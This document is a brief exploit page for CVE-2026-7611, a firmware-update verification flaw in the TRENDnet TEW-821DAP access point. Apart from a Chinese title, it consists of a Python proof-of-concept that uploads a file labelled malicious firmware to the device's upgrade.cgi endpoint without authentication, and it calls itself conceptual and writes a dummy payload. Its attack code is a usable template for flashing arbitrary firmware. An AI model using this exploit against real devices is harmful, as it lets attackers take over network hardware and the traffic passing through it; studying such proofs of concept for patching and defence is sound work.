CVE-2026-7611 TRENDnet TEW-821DAP固件更新验证不足漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-7611 - TRENDnet TEW-821DAP Firmware Update Verification Bypass Note: This is a conceptual example based on the vulnerability description. """ import requests TARGET_URL = "http://<TARGET_IP>/upgrade.cgi" # Example endpoint MALICIOUS_FIRMWARE_PATH = "./malicious_firmware.bin" def exploit(): # The vulnerability allows remote unauthenticated firmware updates # due to insufficient verification of data authenticity. headers = { "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)", "Content-Type": "multipart/form-data" } # Prepare the file payload files = { 'file': ('firmware.bin', open(MALICIOUS_FIRMWARE_PATH, 'rb'), 'application/octet-stream') } try: print(f"[+] Sending malicious firmware to {TARGET_URL}...") response = requests.post(TARGET_URL, files=files, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if device is flashing.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Ensure you have a dummy file for testing structure with open(MALICIOUS_FIRMWARE_PATH, 'wb') as f: f.write(b'FAKE_FIRMWARE_PAYLOAD') exploit()